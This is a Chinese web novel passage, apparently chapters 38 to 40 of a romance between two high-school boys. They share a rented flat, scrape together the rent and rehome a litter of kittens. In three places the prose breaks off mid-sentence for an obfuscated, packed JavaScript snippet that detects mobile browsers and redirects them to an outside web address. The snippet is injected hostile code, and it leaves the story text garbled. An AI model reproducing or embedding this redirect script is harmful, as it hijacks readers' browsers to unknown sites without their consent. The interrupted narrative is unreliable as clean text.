一方面是日结来钱快、纠纷少;另一方面是因为,年级和省的排名在学校里的确能换来万人瞩目,出了校门却什么都不是了。 没有名校学历、没有往期带教学生成绩,根本没人要这样的家教老师。 梁芷那边也帮忙在自己的高中打听着,李斯年拒绝了孙家娟给的卡,孙家娟无奈之下只能退而求其次,要管二人的三餐。 “学校食堂再怎么实惠也是要钱的,斯年啊,有骨气是好事,但不顾情况的钻牛角尖就是愚蠢了,现在对你们来说,高考才是最重要的。考上好大学,有个好工作,真正独立了,才能有底气。”孙家娟如是说。 李斯年纠结许久,还是点了头。 如今最急需的一笔钱是房租,眼看三个月就要过了,再续至少又是4500元。 李斯年在梁芷和方行舟的宣传帮助下,接到了四个低年级学生的补习兼职,一个育德、三个江二中的。 不过李斯年平时下晚自习太晚,补课也只能周末进行,每人两小时、每小时50元,满打满算一周能有400元的收入。 李斯年为了能多赚点钱,想把四人补习都安排在了周六一天,周日空出来能做点别的,于是问许之平时都去哪里打零工。 许之却拒绝:“你周六连续给别人补八个小时的课,周日就休息吧,反正现在这出租屋也不是你一个人住,我应该要出一半房租的。” 李斯年和李宇决裂,许茜又当着众人的面说出那种话,许之是不可能再回碧水名城了。 李斯年其实有点暗中开心,但又不能表现出来,只是顺势跟许之说,干脆和自己合租这间出租屋好了。 不过就算二人一个月打零工勉强能覆盖房租,也于事无补,因为年底需要的是一口气拿三个月的钱出来。 李斯年有些后悔,之前离家出走时,怎么没把自己那些限量球鞋带出来,否则如今挂在网上卖也能卖不少。 思来想去,他还是决定瞒着许之,周日再出去找点活计。 李倾诺悄悄来出租屋找李斯年时,正好就是个周末, 在临街小吃店后厨忙了一下午的李斯年刚收了工,往出租屋走。 夕阳已经倾斜,李斯年拖着长长的影子埋头往前走,李倾诺顿步看他,一声“哥哥”卡在喉头。 她忽然觉得,自己这好像还是第一次,见到哥哥如此疲惫的模样。 38. 合租 李斯年察觉到前方的人,抬起头,眉眼间沉沉的倦意一扫而空,取而代之的是李倾诺熟悉的爽朗笑容:“糯糯,你怎么来了?” “来看看你啊!”李倾诺说着,抬脚跑到李斯年面前三米处,忽然猛地停住脚步,捏起鼻子,“哥,你、你身上什么味啊?” 李斯年抬臂闻了闻卷起的袖口:“喔,可能是泔水。” 李倾诺只在课本里见过这个词,课文里一整个自然段都在描述它是怎样肮脏难闻。 紧接着,她又看到李斯年因洗碗刷盘子而被泡到发胀的双手,忍不住鼻子一酸,“你为什么要碰那种东西啊?” 李斯年却是不甚在意的一笑,掏出钥匙打开门,招呼人进去:“哎呀,就是打打工,赚点钱,没关系的。” 李斯年换了身衣服从卫生间出来,李倾诺眼角还是有哭意的泛红:“爸爸昨天去庆城了,我才能来找你,他把我的零用钱也都停了,还说以后不准再见你,哥,你们到底怎么了?” “小孩子别打听那么多。”李斯年终于可以揉揉她的脑袋,“好啦,哪里来的那么多眼泪,没完没了啦。” “是不是因为许之。”李倾诺看了一眼墙角的鞋,“你是不是有什么把柄在他手上?!先是为了他说自己是同性恋,现在又和爸爸闹成这样?” 李斯年:“怎么可能啊,别瞎猜了。” 李倾诺走过来,抓着李斯年的手腕,“回家吧,我替你求爸爸好不好?就算看在妈妈的面子上,爸爸也会……” “你还没看透么,他心里从来都只有自己,没有别人。”李斯年打断她。 “他肯定是因为太忙了,他心里还是有我们的!” 李斯年笑得有些凄凉:“傻糯糯,你知道他昨天为什么没有继续追究么?不是因为顾念着妈妈、也不是因为对我有恻隐之心,他只是看孙姨在这里要把事情闹大了,怕传出去影响他的形象、他的生意。” “况且,他如果真的在乎妈妈,说好要和她回孝县那天,为什么突然反悔?” 提起这件事,李斯年心中的怨恨与痛苦总是难以克制:“若非如此,妈妈也不会为了赶次日外公的忌日,而连夜坐大巴,结果遇上暴雨和泥石流……他的事业、公司、会议,一切都比这个家里的人要重要!” 李倾诺听他说着,眼底终于忍不住泛起一层泪光。 她突然之间觉得特别无助,自己好像做什么都不对:“那能怎么办呢!你说这些,妈妈能活过来吗?爸爸会改变吗!你一直一直陷在当年的事情里,痛苦的只有你自己!” 李倾诺觉得特别委屈。 那天李宇带着许茜来出租屋的那场闹剧过后,她甚至还不知道发生了什么事,只知道李宇怒气冲冲的回到家,就立刻怒火迁移,凶巴巴地命令她,不准再认李斯年做哥哥,更不准私下提供帮助。 她等啊等,好不容易等到李宇离开江城了,费劲力气绕过赵婶和那些保镖,来出租屋,结果哥哥又不领她的情。 她捂着脸,呜呜的哭出声来:“你以为我愿意说这些话?你和爸爸这些年一直这样,我夹在中间也不好过啊!但除此了说这些,我还能做什么呢?我只是想让你快乐一些……” 李斯年看着她流眼泪,心里越发酸楚,他忽然意识到,很多时候的确只在乎到自己的愤怒,却忽略了他失去了母亲、李倾诺亦然。 他深深叹了口气,走上前,搂住妹妹的肩膀,低声说:“对不起,我不该对你发脾气的,我知道你是好心,可是有些事情注定回不去了,这个家,我和李宇的关系……你得接受这件事。” 他也对李宇抱有幻想过,他也曾以为事在人为,郑秀刚出事的那几年,他有想要找李宇好好聊开,但不知为什么,每一次说着说着,就会开始争吵。 直到后来,父子二人几乎很难心平气和的讲两句话。 李斯年当然知道死去的人不会再回来了,他只是想要活着的人一句道歉。 但骄傲刚愎如李宇,是绝不会向子女认错的。 窗外渐渐暗了下来,傍晚即将交替黑夜。 李倾诺在哥哥怀里哭够了,抬起头,声音闷闷嗡嗡:“我以前总想快点长大,不用写作业、也没人管我,可是现在越来越觉得,还是想回到过去,那时候我们一家人,每天开开心心的,多好啊。” 她有些迷茫的看向李斯年:“哥,原来长大就是这样么?” 失去很多不想失去的,得到很多不确定是否想要得到的,时间把人推着走、推着跑,等回过神来,回头看,来时的路已经不再是熟悉的模样了。 “别的人我不知道,但不过再过多少年,我都是你哥,都像现在这样,永远不变,好不好?”李斯年哄道。 李倾诺心中的安全感回升些许,闷声“嗯”了。 “好啦,快去洗个脸,哭成小花猫了。”李斯年说。 李倾诺点点头,转身时忽然想起什么:“对了,今天来是想送这个来给你的。” 她把身上的斜挎包解下来。 “这是什么?”李斯年打开一看,吃惊道:“你哪弄来这些钱?!” “爸爸虽然把我的卡也监控了,但我还有那一柜子典藏版漫画书呢!”李倾诺还是孩子心性,说到这里,一张泪脸又笑开来:“只可惜时间太仓促了,我怕爸爸发现,于是要求对方只能现金交易,所以只卖出去了两本,再给我几天,我还有找其他卖家。” 不愧是兄妹俩,筹钱的法子都想到一块儿去了。 李斯年知道李倾诺很宝贝那一柜子漫画书,连赵婶打扫时都不让碰,如今竟然愿意为了他卖掉,他心下感动:“这些就够了,我打工也能赚点,你剩下的漫画书就好好留着。” “没关系,那种绝版的我都留着呢,放心!”李倾诺咧嘴一笑。 提起她的漫画书,李斯年倒是不可避免的想到某些画面,他清了清嗓子,装作随意的问:“你卖的……不会就是之前你给我看过封面的那本吧?” 李倾诺猛地摇头:“那本不可能!又绝版又是我的top1,属于死了都要带到坟墓里去的!” 李斯年唇边浮现出一抹笑:“这样啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401250|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 改天想办法给偷过来。 门外传来脚步声,紧接着是钥匙碰撞的声响,李斯年赶紧低声嘱咐:“我今天打工的事情保密啊!” 说完,飞快地把换下的衣服丢进洗衣机,倒洗衣液、关盖子、按下启动,动作行云流水一气呵成。 然后直起身,一脸灿烂地迎接大门打开:“回啦,今晚想吃什么?” 李倾诺看的目瞪口呆,哥哥什么时候变得这么怂了?!跟个妻管严似的。 “随便下个挂面吧。”许之没有立刻进来,而是站在门口脱下了沾满木屑灰尘的外套,在外面抖了抖才拿进去,抬眼看到李倾诺也在,又补了句,“或者……看你们想吃什么,出去吃也行?” 李倾诺摆手:“不用了,我是溜出来的,得赶紧回去。” “那正好,我还要赶着做饭,就不送你回家啦。”李斯年说。 李倾诺笑容抽搐了一下,为什么有种“嫁出去的哥哥泼出去的水”的感觉。 李斯年虽然嘴上这么说,其实还是把人送到了三岔巷子的拐角交界处,叮嘱了几句别担心、好好学习之类的,最后掂了掂手中的斜挎包:“这些算哥哥借你的,以后一定还。” 李倾诺“嗯”了声:“我等着,到时候连本带利啊。” 李斯年回到出租屋,卫生间的水声将停,他刚掐了两颗白菜,许之就一边擦着湿漉漉的脑袋走了出来。 他蹲下身,拿抽屉的吹风机,忽然手一顿,鼻头耸动:“你闻到一股味道没?” 李斯年不留痕迹的低头凑近自己闻了闻,装傻道:“什么味道?” 许之努力分辨片刻,摇头:“不知道,酸酸臭臭的。” “估计是昨天的湿垃圾吧?”李斯年说完,将垃圾桶里明明刚换的垃圾袋虚虚系起,丢到门口:“你吹完头发帮我把肉切一下,我冲个澡就出来煮面。” 说完,赶紧钻进卫生间,把一身气味罪证清洗干净。 而等李斯年出来时,许之就已经把面条下好了,说来老天爷也挺公平,各方面都很优秀的省第一许之也有不擅长的事情:做饭。 从刚开始的煎个鸡蛋都要糊锅到隔壁以为着火了来敲门、到现在能勉强煮出一锅尚且能吃的面条,已经是许之能做到的极限了。 但李斯年每次都很捧场,今天也是说着好吃,然后连汤都喝光。 这人真是有种不自知而面面俱到的善意和教养。 二人合租没几天,已经有了些心照不宣的默契,一个人做饭、另一个人就洗碗,李斯年把碗筷收去水池:“帮我数数,糯糯送来的钱有多少?” “好。”许之往床上扑了一张英语周报,将斜挎包里的钱都倒在了报纸上、 一百块居多,数起来并不麻烦,许之说:“这里正好两千,我手里之前攒的还剩不到八百。” 李斯年算着账:“距离月底交四千五房租还有两周时间,我想办法再多打份工,加上你那边的钱,应该能正好凑到……” 许之的表情却有些为难:“我有两个消息,一好一坏,你要先听哪个?” 39. 领养 “什么事情这么神神秘秘?”李斯年想了想,“还是先听坏的吧。” “房东白天给我打电话了,说马上高三下学期,陪读的家长增多,房源紧俏,所以房租涨了,从一千五涨到了两千。” 李斯年瞪大了眼:“一下子涨五百,他怎么不去抢?!那……好消息呢?” 许之轻叹一声:“下个季度房租缴纳时间宽限一周,也就是下月的第一周周日之前给到就可以。” 和坏消息比起来,好消息也没好到哪里去了,但李斯年知道,这一定已经是许之努力争取之后的结果,能这样涨房租的黑心房东,又怎么会主动宽限时间? 只是这资金缺口一下子拉大不少,二人一时间都有些沉默,李斯年心中打着自己的算盘,片刻后说:“你别担心了,我来想办法。” “什么办法?”许之问。 “大不了,我就回趟家,把那些大牌限量的书包鞋子拿去卖了,就算打五折也能有不少钱……总之,包在我身上。”李斯年说完,拿起钱包,把打工的钱抽出来递给他。 许之疑惑的看着他。 “以后所有的钱都放在你这里吧,等凑够了房租,多出来的就当日常花销、以及下个季度的房租储备,也好规划着用。”李斯年抓了抓头发,笑,“我这人大手大脚惯了,充游戏都是免密支付,我怕钱在我手里留不住。” 他竟然是这么有觉悟的面对今后可能拮据的日子,让许之有些意外。 “好。”许之郑重的答应下来,站起身,把自己的积蓄也拿过来,连同李倾诺的亲情赞助一起放进拉链袋里。 又掏出纸笔,横竖几笔画了个简单的表格,写上日期、收入、支出、积蓄金额及目标。 李斯年托着脑袋,看他认真的模样,忽然思绪就飘得远了点。 要不以后家里的钱就一直给许之管吧,看他这样,很有当守财奴的潜力。 “你是带了四个学生的补习吗?”许之突然问。 李斯年还沉浸在未来规划里,没反应过来:“什么?是啊。” 许之手指捻着李斯年刚塞给他的打工收入:“那为什么这里有500块钱啊?” 李斯年脑子空白一瞬,多出来的100元是他周日去餐馆后厨帮工的钱,刚没想那么多,就一起给过去了。 “啊,这个……也是补习的课费。”李斯年说到这里,又顿住了,没想好该怎么解释为什么课费凭空多出来这么些。 他其实是很不擅长临时撒谎的人,每次要说假话,都得先想好才行。 好在许之没有起疑,他收回手,一边低下头在纸上写数字,随口问:“为什么要多给课费,你拖堂了吗?” “是、是啊!”李斯年赶紧顺坡下驴:“其实也就半小时啦,他妈妈非要补给我钱,但家里没零钱、我也找不开,所以就先给我了,多出来的抵下次补习时间。” 许之点点头,把账算好,递给李斯年看:“你也核对一下?” “不用核对了,我相信你,上次数学考试你还比我考得高呢。” 李斯年说着,剪下一段透明胶,把账目贴在书桌对面的墙上:“以后每天开销明细都各人自己往上记,周末你来统一遍,怎么样?” “有必要嘛?”许之不解,“每周把手上剩的钱和上周总额做个减法不就行了。” “这样方便复盘有没有乱花钱。”李斯年坚持如此,“如果你觉得麻烦,你口述,我帮你写也行?” 倒也没有很麻烦,许之耸耸肩,依着他的意思:“没事,就听你的。” 合租的日子一天天过去,许之渐渐发现,李斯年这人的确是挺喜欢弄这种仪式感的东西。 他一开始不能理解,但到后来,却也咂摸出些许其中的奇妙来。 账单贴在墙上,就像是一个日历,从空白到填满,是时间流逝的具象化。 他们要省钱,所以会定期回顾花销,确认存款余额,这样不仅能发现不必要的支出,还能因此回想起原本都要被忘记的细碎小事—— 原来这周老董头抢了三节体育课,还拖堂耽误了午饭时间,害得二人不得不去南门便利店觅食; 原来小卖部的布丁雪糕悄悄涨价了,上周还是七毛,这周成一块了; 原来晚餐盖浇饭档口的食堂大叔很抠门,做了五次用肉末充数的胡萝卜炒肉片,有三次西红柿鸡蛋汤里没有鸡蛋(来自李斯年略带愤怒的额外备注); 这些小事重要吗?也不重要,但在李斯年说下周要严肃的跟食堂反馈一下缺斤少两问题时,又会让许之真真切切的感觉到自己是在生活,而非只是活着。 原来不是所有行为都需要追求性价比和效率,那些看似没有意义的事情,换个角度看,反而更有意义。 许之从前很少回忆过去,没什么值得想起的,也不会专注于此时此刻,因为对他而言这只是一个通道、一个过程,如果可以,许之甚至希望快速略过。 他习惯了仰着头、垫着脚去期盼未来——一个能摆脱当下的未来。 但和李斯年认识的日子里,他总是在他记忆中嵌入了一个又一个锚点,让许之有事可忆、有迹可循。 可能连李斯年自己都没有意识到自己做了这件事。 但就是会让许之在某些瞬间忽然觉得,如果此刻的日子延续下去,似乎也挺不错的。 - 小白的孩子们个头渐渐大了,孙家娟让梁芷来问李斯年确定领养时间的事情。 李斯年知道就算再不舍,这一天也终于会到来,长痛不如短痛:“就这周日下午吧?” 梁芷点头:“应该可以的,都是住在三岔巷子的街坊,过来也近。” 李斯年“嗯”了一声。 梁芷带完话,其实应该走了,但她脚步有些迟疑,双手绞在一起片刻,终于还是问出口:“斯年哥,你真的和许之哥……在一起了吗?” 李斯年答得很快:“是啊。” 他这样坦荡的态度让梁芷有些不知道怎么接,祝福话语没法违心的说出口,想要追问细节和缘由,又觉得自己没这个资格。 大家都说他们两个是青梅竹马,按照这个词的标准定义来说,是没毛病的。 两家人是多年好友,梁芷和李斯年幼儿园、小学都在一个学校,周末也常常因为郑秀和孙家娟相约而见面。 随着年龄的增长,于少女心中,青梅竹马这个词在情窦初开后就笼罩上了一层暧昧的光线。 而梁芷也是在那段时间察觉到,李斯年完全是把自己当亲妹妹看,与李倾诺没差别。 失落是当然,但梁芷性格内向,做不到为自己争取的事,只能安静的看着李斯年的身影,安慰自己这样也就够了。 好在李斯年从小到大虽然桃花不断、情书满天飞,但好像还真没跟谁谈过恋爱。 这样一比,梁芷觉得自己其实还算是挺特别的存在,有些事李斯年不和孙姨、李宇说,但会和她讲,仿佛知道她永远会为他保守秘密一样。 像是心照不宣的默契。 让梁芷觉得甜蜜。 可是现在,这一切都变了,突然冒出一个漂亮的男孩子,不知怎么就能敲动李斯年从不敞开的心房。 梁芷嫉妒,嫉妒之余,又无可奈何。 李斯年没有察觉到梁芷泛红的眼眶,反正如今不论谁来问这个问题,他都会这么回答。 只有这样,他才能裹着这虚假的情侣身份,得到站在许之身边的资格。 虽然在偶尔想到这关系并非事实的时候,还是会有些怅然若失。 思绪一晃而过,李斯年看了眼表,抄起椅背上许之的外套就往外走。 他今天傍晚抽空跑回出租屋就是为了拿这个,最近入夜后风很凉,偏偏许之完全不懂的照顾自己,还穿着单衣。 “还有晚自习吧,快去,别迟到了。”李斯年说。 梁芷清了清嗓子,应了声:“那我和领养人约好时间后,再给你发消息。” “好。” - 周日下午两点,李斯年和许之准时到梁芷家中,领养人已经陆续来了 人来之后,李斯年没有让他们直接带走小猫,而是先询问了一些问题。 比如他们家里准备的是什么猫粮和罐头、是否会封窗? 叮嘱香薰香水包括化学驱蚊剂都不能使用,避免养有毒害的植物或花,线之类的要收好否则容易吞食等等。 直到第三个领养人面色复杂的摆手离开后,孙家娟有些为难的开口:“斯年啊……你这么多要求摆出来,先把人吓走了。这三岔巷子里住的都不是有钱人,还有些年纪大,关于养宠物的理念,和年轻人想的也不一样。” “可是这些……不是常识吗?”李斯年虽然看到小猫被领养走是有点伤难过,但他也真不是故意要刁难这些人的。 他都没要求他们要记得观察猫咪尿团大小数量和是否软便,如果两三天没有排尿是比较危险的情况等等。 李斯年不自觉的继承了郑秀养猫时的细心和碎碎念,却忽略了不是人人都把猫咪当做家人,其实能当做宠物已经算不错了,还有些只觉得是个玩意儿。 孙家娟叹了口气:“咱们毕竟是给小土猫找领养,又不是卖品种猫,适当放低一些要求吧?” 李斯年听了这话,神色有些黯淡,低头看着几只小猫侧卧在他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401251|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖鞋边,正打着转把他的袜子当玩具玩得不亦乐乎,闷声道:“这和是不是品种猫没关系啊。” 孙家娟继续劝他:“每个人养猫的用处不一样,有的是让上床睡觉都搂着的,有的是指望抓老鼠的,只要是真心喜欢,给吃好喝好,就够了。” 李斯年执拗的摇头:“可是我不想他们抓老鼠,万一回头门窗没关好,跑出去,又成小野猫了,和他们的爸爸一样……” 许之猜到他是想起小黑所以难过了,接话道:“要不这样,把这些要求都写清楚,再发一次领养启事,这样的话能筛选出有着同样理念的领养人。” “万一因为要求太苛刻,没人愿意领养怎么办?”孙家娟担心。 “那到时候再看情况去精简要求,先这样试试。”许之说。 也只能这样了,许之借用梁芷的笔记本电脑,写了一份领养启事,在江城当地比较有名的几个论坛贴吧发了。 又去校门口打印了十几份,张贴在各处。 忙完,天已经擦黑了,正好家里的米已经吃完,二人从超市采购出来,李斯年就近在路边买了两份炒饭,顺便给许之那份多加了肉和两个鸡蛋。 通常周末的晚上,二人学校里的作业都是做完了的。 没什么事时,许之都会坐在书桌前刷两套卷子,而李斯年则靠在床上打游戏。 他打游戏时偶尔会偷瞄许之,发现他刷题刷的很认真,刷完数学刷化学,做几篇英语的完形填空又去写两道语文的阅读理解。 “诶,你成绩已经这么好了,干嘛还这么勤奋?” 李斯年游戏玩的心不在焉,干脆放下手机,趴到床边,问他:“你也知道吧,有些分数线是有壁的,就算你不这么刻苦,别人也很难赶上你。” 就好像对于艺术生来说三百五是个坎,四百分又是个坎,对于文化生也一样,特别是最后几道大题、作文,有时候就是卡天赋的,分数上不去就是上不去。 “嗯。”许之漫不经心道,“也没什么别的事啊,就随便做着玩。” 敢情这人是在打发时间,这得看哭多少痛苦强逼着自己刷题的莘莘学子啊。 李斯年眼睛一转,又问:“你……以后是不是想报心理学相关的专业?” 许之笔尖停顿,看向李斯年的眼神里写满了“你怎么知道?” 李斯年清了清嗓子,装作理直气壮道:“就、就那次去你屋里借空调遥控器时,看到书架上有好多本心理学的书。” 许之没有戳穿他,承认道:“是啊,我想读心理学。” “为什么?”李斯年有些好奇。 十七八岁正是对未来有着无限憧憬和迷茫的年纪,许多人都还无法完全听清自己内心的声音,但许之却似乎很笃定。 许之思索着,他干脆搁下笔,将原本挺的笔直的腰背往椅上靠去,下巴随着这个动作轻轻抬起,弧度流畅的脖颈伸展,是近乎温润的白瓷颜色。 李斯年喉头一动,不动声色的撇开目光。 “你听过一个说法没有,对心理学有好奇和向往的人,往往是心理有着某方面问题的人。”许之唇边带着笑意,“说直接点就是,心里有病的人才想学心理学。” 李斯年倒是听过,他思忖着许之这话的含义,说:“但我觉得也不是所有人都这样。” “或许吧,但我最开始想着去翻心理学书籍的原因,是因为我发现自己好像是同性恋。”许之此刻说起这些,表情很平和,没有一丝一毫难以启齿的情绪在。 但李斯年可以想到,在最初意识到这件事时,他必然是惊慌失措。 似乎也想起当初的心情,许之自嘲一笑:“我当时第一反应,是觉得自己心里有病,没有人可以说,也不敢问老师,所以就自己到处查。最后结果当然是这仅仅只是个人的取向差别而已,但在这个过程中,我发现了心理学里更多让我感兴趣的东西。” 他说起喜欢的东西时,难得的话多了不少,他看向李斯年:“其实,人的所有行为、就算是看似不合理的行为,都有合理的内在动因,它可以被研究、也可以被开解,只要正视而非回避。” 怪不得之前许之能那样快速准确的分析许茜行为背后的思虑,这和他的思维习惯有关、也和他喜欢心理学有关。 李斯年心中一动,问:“你……是怎么发现自己是同性恋的?” 他的心跳随着说出口的每个字而越跳越快,语气还要装作是顺应话题的闲聊。 许之稍稍一顿,说:“我对女生没感觉。” 李斯年有些意外他竟然会直接回答而不是撇开话题,心下一动,没过脑子地脱口而出:“你喜欢过哪个男生吗?” 40. 再遇 许之听到李斯年这样的问话也愣住了,他眉眼间的神情有一瞬间的古怪,伸手拿桌上的杯子喝了口水。 再转过头时,表情已经恢复正常:“也没有。” 李斯年松了口气,这才发现刚等待答案时,他竟然紧张到一直屏住了呼吸。 他内心自嘲一笑,就算许之从前喜欢过别人又怎么样呢?自从他转校过来之后,也没见和以前的哪个同学有保持联系。 而自己要脸有脸、要身高有身高、要成绩有成绩、要钱……只能说是暂时没什么钱,但以后凭借能力一定能过得不错。 只要他坚持不懈的对许之好,还怕融化不了一颗心么? 但面对喜欢的人,再自信的人也会生出自卑来,李斯年此刻还不懂这个道理。 许之看李斯年不说话,也不知道这人究竟在想些什么,他其实一贯对冷场不甚在意,此刻却觉得有些不知从哪里而来的尴尬。 转念一想,或许李斯年问这个问题,是因为直男对于同性恋的天然好奇,于是又补充道:“你不是同性恋,不理解这种直觉也很正常。上次你喝醉时,旁边那个男生好像也是,你知道么?” 李斯年心想,那我可太知道了,还是我先犯贱去招惹的对方。 但他还是配合着做出一个吃惊的表情:“啊?真的?” 许之“嗯”了声:“就是一种不太说得清楚的观感,十有八九没错。” 忽然,铃声响起,是许之手机的来电,二人都愣了愣,因为平时很少有人给他打电话,更何况此刻已经夜深了。 许之拿起手机看,是个陌生号码,但还是接了。 “喂?” 李斯年听不清对方是谁、说了什么,只见许之听了会电话,然后看了李斯年一眼,眼角含笑。 李斯年被这笑弄得有些心猿意马,就听许之问了句“那后天中午一点行吗?”,然后报了出租屋的地址。 许之挂了电话,李斯年赶紧问:“什么情况?” 许之笑意更浓:“是想要领养小白孩子的大学生,本地人,就在江城大学读书,我约他见面聊聊。” 李斯年也跟着高兴起来:“没想到这么快就有人找来,太好了。” 年轻人的养宠理念总是容易比较相似,接下来就等具体问问是否有足够的时间、经济条件来养猫了。 聊了这么一会,夜也已经深了,李斯年和许之先后洗漱完毕,就准备睡觉。 在合租之后,二人就心照不宣的各睡一半床铺、各盖各的被子。 他们都不是睡相差的人,晚上最多原地翻几次身,况且天冷被子厚,连手臂碰到的机会都没有。 也没人提起去拿梁芷家里闲置的折叠床,李斯年猜或许是许之忘了这茬,而他也乐得装傻。 灯的开关在床外侧,所以每天都是李斯年关灯,他很喜欢这个瞬间,“吧嗒”一声,整个世界都陷入黑暗。 他觉得自己仿佛也在这瞬间和许之之间拉近了距离。 少年人的爱意总是很容易被满足,能安静听着对方呼吸声入眠,李斯年几乎要觉得自己是世界上最幸运的人。 要说想不想更进一步?那当然是想的,但李斯年有自己的骄傲,他愿意付出耐心,等待许之喜欢上自己的那一天。 他不是羞于告白,只是此刻二人所处的情景下,他开口,注定会带给许之多余的压力。 这也是那晚许之问他时,他撒谎说那句“喜欢”只是权宜之计的原因。 他不想要许之的感激,更不要许之因此为难,从而考虑是否接受他的心意来作为“报答”或“回馈”。 李斯年想要纯粹的喜欢、正大光明的爱。 什么也不牵扯,什么也不掺杂。 - 周二中午,许之去食堂打包盒饭,李斯年一放学就赶回了家,临近一点时,响起了敲门声。 “是要领养猫咪的吗……”李斯年拉开门,看到人,声调陡然扬起:“是你?!” 吴琛也一脸惊讶,他后退半步,抬眼看了看门牌号:“是这里,没错啊。” 李斯年目光警惕的扫视他:“你怎么找到这里来了?” “我——” “是吴先生吗?”许之的声音打断了吴琛的回答,他提着盒饭,疑惑的看着二人隔着一扇门莫名对峙。 “是我,就周日晚上给你打电话,领养猫咪的。”吴琛回头,瞬间也认出了许之,毕竟这样容貌的人,哪怕在夜色中匆匆一瞥都是再难忘记的。 “啊,原来是你,这么巧?”许之又看了看李斯年,那晚李斯年分明说自己不认识吴琛,但二人这神情,却不像是完全的陌生人。 他不确定到底是什么情况,但这人总归是奔着领养来的,于是先抬抬手:“进屋说吧。” 李斯年让开身位,在与吴琛擦肩的空挡,快速而低声的说:“melody的事别提。” 吴琛瞟了一眼正在桌上认真拆盒饭的许之,露出帮背着老婆偷腥的男人打掩护那般意味深长的笑容,低声道:“我懂,我懂。” 说完,进入正题,问向许之:“我看到你们发的小猫照片了,我想领养那只黑白相间的,它还在吗?” “嗯,三小只都还在。” 许之把盒饭推给李斯年,自己没动筷,将搬了板凳给吴琛,二人坐下聊:“因为我们的领养要求比较严格,想给小猫们找个好归宿,所以之前也拒绝过几个理念不合的领养者。” “这也是应该的,我看现在还有很多虐猫的变态,专门找领养猫咪下手,实在是太可恶了。”吴琛很理解地点点头:“领养启事上写的我都可以接受,包括每月定期视频照片回访,除此之外你们还有什么要求吗?” “谢谢你的理解,另外我还想问一下,因为你还在读大学,那猫会养在哪里?宿舍吗?”许之问。 吴琛摆手:“那肯定不会,我有亲戚在本地,所以不住校,猫当然是养在家里,我家本身有原住民了,两岁绝育的母猫,想着一只难免孤单,所以想要再领养一只。” 许之和李斯年对视一眼,原本就有养猫经验的领养者当然是更好的,就不必担心基础的养猫常识了。 许之又详细问了问吴琛平时的喂养习惯、是否封窗等,都挺合适的,李斯年这边也快速地吃完了饭。 他站起身来:“那带你去看看小猫吧?在隔壁我一个阿姨家养着,因为这边位置太小了。” “好啊。”吴琛还专程背着空猫包,他弯腰拿起来,又对许之说:“你先吃吧,别耽误了饭点,李斯年带我去就行。” 他叫李斯年名字叫的自然顺畅,李斯年心虚的看了一眼许之,后者正掰开筷子,往垃圾桶丢包装袋,似乎没注意到这句话。 李斯年招招手,带着吴琛出了门。 走在路上,吴琛突然开口:“那天晚上的事,想跟你说声抱歉,我以为你是单身呢。” 原来这人专门单独叫自己带他去看猫,就是为了说这个。 李斯年对他最后一丝提防也消弭于无形,反而有点不好意思起来,说到底这一切也是因为自己释放了错误的信息,才让吴琛误解。 毕竟一个人半夜去gay吧,说是没有目的、无欲无求,谁信呢? 只是李斯年的所求并非像其他人那样,他解释道:“也不全怪你,其实那时候我去酒吧……是想知道自己到底喜不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401252|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢男的。” 吴琛一愣,没想到竟然是这样,觉得挺有意思:“那你得到结果了?” 李斯年先是点头,然后又摇头:“我好像只是喜欢特定的一个人而已,但对别的男生没那个意思。” 吴琛反应很快,问:“就是刚才屋里的那个男生?” 他心想,这两人的确是般配的,无论气质外形都是极其出挑。 李斯年“嗯”了一声,又补上两个字:“保密。” 吴琛刚在出租屋时,看到桌上的教材了,知道原来两人还在读高中,于是以为是年纪小所以不好意思,笑道:“你们都合租了,我看那屋子里只有一张床,但他竟然还不知道你的心意?怎么不告白?” “情况有点复杂,反正就是现在时间不合适。”李斯年没想展开说太多,沉思片刻,“还是等考上大学再说吧,以后路还长,不急现在。” 那时候二人都已经成年,对未来的规划会更清晰,不用受到监护人的管教和束缚,就能自由的做选择并为此负责了。 吴琛见他表情这样认真,不由得也有些被打动:“真没看出来,你还挺深情的,想得这么远。” 他们这个圈子里,许多人只是玩玩而已,这种关系没法受到公开承认、相对应的也就少了许多束缚,大家都心照不宣的放任寂寞灵魂肆意冲撞。 而在获得短暂的慰藉后,又会重新燃起喜新厌旧的躁动。 能长久走下去的人很少,共同计划未来的更是寥寥无几。 李斯年笑笑没接话,二人来到孙家娟门口,李斯年敲敲门,梁芷已经在等了。 小猫都不太怕生,见到有陌生人,都围过来打量,吴琛拿着逗猫棒陪着玩了一会,它们就敢顺着裤腿往上爬了。 